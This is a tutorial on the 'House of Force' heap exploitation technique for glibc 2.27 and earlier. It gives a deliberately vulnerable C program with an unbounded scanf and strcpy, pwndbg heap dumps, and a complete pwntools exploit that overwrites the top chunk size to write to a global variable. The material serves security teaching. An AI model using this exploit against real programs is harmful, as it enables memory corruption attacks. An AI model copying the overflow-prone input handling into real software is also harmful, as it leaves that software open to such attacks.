Heap Exploitation: The House of Force

The house of force is an older exploitation technique that works on glibc 2.27 and lower by modifying the top chunk. The technique was first documented in Phrack 66.

The top chunk is a large chunk of unallocated heap memory. It’s size field dictates how much memory is available for the application left to allocate.

By overwriting the top chunk header size field with a large value, we can wrap around the virtual address space of an application and write to arbitrary locations.

The following conditions are required for this technique to work;

  • Glibc version lower than 2.27
  • A heap based overflow allowing overwriting the top chunk size field
  • A heap address leak to so we know the relative offset to our write location.

Our vulnerable application leaks the heap address, and allows us to call malloc() with an arbitrary size.

No bounds checks are done on the input data, so a heap overflow can occur. Our aim is to overwrite the “target” variable which is currently stores the letter “B” 4 times.

Running the application:

./house_of_force 
heap @ 0x1206000
Target : BBBB
size of malloc: 20
input data: AAAAAAAAAAA
Target : BBBB

Vulnerable Code

The below code was compiled on Ubuntu 17.04.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -Wall -g -O0 -no-pie  -z norelro -z now house_of_force.c -o house_of_force

char target[7] = "BBBB\0";
char *heapChunk;

int main () {
  setvbuf(stdout,(char *)0x0,2,0);
  void *__ptr;
  __ptr = malloc(0x8);
  printf("heap @ %p\n",__ptr - 0x10);
  free(__ptr);
  printf("puts() @ %p\n",puts);

  unsigned long mallocSize;
  char inputData[256];

  for (;;) {
  
  printf("Target : %s\n", target);
  printf("size of malloc: ");
  scanf("%ld", &mallocSize);
  printf("input data: ");
  scanf("%s", inputData); 
  char *heapChunk;
  heapChunk = (char *) malloc(mallocSize);
  strcpy(heapChunk,inputData);

  }
   
  return(0);
}


Exploitation Steps

Running the vis_heap_chunks command in pwndbg shows some memory has already been allocated on the heap, and we can see the top chunk size field is set to 0x20bf1:

pwndbg> vis_heap_chunks 

0x601000	0x0000000000000000	0x0000000000000411	................
0x601010	0x0000000000000000	0x0000000000000000	................
0x601020	0x0000000000000000	0x0000000000020fe1	................
0x601030	0x0000000000000000	0x0000000000000000	................
0x601040	0x0000000000000000	0x0000000000000000	................
0x601050	0x0000000000000000	0x0000000000000000	................
0x601060	0x0000000000000000	0x0000000000000000	................
0x601070	0x0000000000000000	0x0000000000000000	................
0x601080	0x0000000000000000	0x0000000000000000	................
<truncated output>
0x601410	0x0000000000000000	0x0000000000020bf1	...............	 <-- Top chunk

1. Overwrite the Top Chunk

Next, in our Python code we call malloc() in the application allocating 24 bytes, but overflowing the top chunk size field with a large negative value (in this case -1, or 0xffffffffffffffff)

malloc(24, b"A"*24 + p64(0xffffffffffffffff))

vis_heap_chunks shows the top chunk size field has been overwritten;

pwndbg> vis_heap_chunks 

0x22bb000	0x0000000000000000	0x0000000000001011	................
0x22bb010	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x22bb020	0x4141414141414141	0xffffffffffffffff	AAAAAAAA........
0x22bb030	0x000000000000000a	0x0000000000000000	................
<truncated>
0x22bc010	0x0000000000000000	0x0000000000000021	........!.......
0x22bc020	0x4141414141414141	0x4141414141414141	AAAAAAAAAAAAAAAA
0x22bc030	0x4141414141414141	0xffffffffffffffff	AAAAAAAA........ <-- Top chunk
pwndbg> top_chunk 
Top chunk
Addr: 0x22bc030
Size: 0xffffffffffffffff

2. Span the Gap to the Target Variable

Next, we need to calculate the distance between the current heap location, and the target variable. The heap base address that was leaked by the application is stored in the “heap” variable.

The heap address is subtracted from the target address and additional space (4200) is added to account for existing heap allocations.

# Span distance to target variable
distance = (elf.sym.target - heap - 4200)
print("Distance: " + hex(distance))
malloc(distance, b"A")

Calling malloc() using this distance will allow us to shift the top chunk address near our target variable:

pwndbg> top_chunk 
Top chunk
Addr: 0x600c30
Size: 0x13f9
pwndbg> dq 0x600c30
0000000000600c30     0000000000600a28 00000000000013f9
0000000000600c40     0000000000000000 0000000000000000
0000000000600c50     0000000000000000 0000000042424242
0000000000600c60     00007ffff7dd2600 0000000000000000
pwndbg> dq &target
0000000000600c58     0000000042424242 00007ffff7dd2600
0000000000600c68     0000000000000000 0000000000000000
0000000000600c78     0000000000000000 0000000000000000
0000000000600c88     0000000000000000 0000000000000000

3. Overwrite the Target Variable

Calling malloc() once more allows us to overwrite the target variable:

malloc(30,b"A" * 30)
pwndbg> dq &target
0000000000600c58     0000414141414141 00007ffff7dd2600
0000000000600c68     00000000000013c9 0000000000000000
0000000000600c78     0000000000000000 0000000000000000
0000000000600c88     0000000000000000 0000000000000000

Script output:

python3 exploit.py 
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] b'/lib/x86_64-linux-gnu/libc-2.24.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './house_of_force': pid 9898
Heap Address 0x2129000
Target Address: 0x600c58
Distance: -0x1b29410
[*] Switching to interactive mode
 Target : AAAAAA

Exploit Code

#!/usr/bin/python3
# -*- coding: future_fstrings -*-
from pwn import *

elf = context.binary = ELF("house_of_force")
libc = ELF(b"/lib/x86_64-linux-gnu/libc-2.24.so")

gs = '''
continue
'''
def start():
    if args.GDB:
        return gdb.debug(elf.path, gdbscript=gs)
    else:
        return process(elf.path)

# Select the "malloc" option, send size & data.
def malloc(size, data):
    io.sendlineafter("size of malloc:", f"{size}")
    io.sendlineafter("input data:", data)

io = start()
io.timeout = 1.0

io.recvuntil("heap @ ")
heap = int(io.recvline(), 16)

print(str("Heap Address ") + hex(heap))
print("Target Address: " + hex(elf.sym.target))

# Overflow top chunk with very large number, in this case -1.
# The top chunk will now span the whole program, and new requests will be 
# within this address space.
malloc(24, b"A"*24 + p64(0xffffffffffffffff))

# Span distance to target variable
distance = (elf.sym.target - heap - 4200)
print("Distance: " + hex(distance))
malloc(distance, b"A")

# Overwrite memory with A characters
malloc(30,b"A" * 30)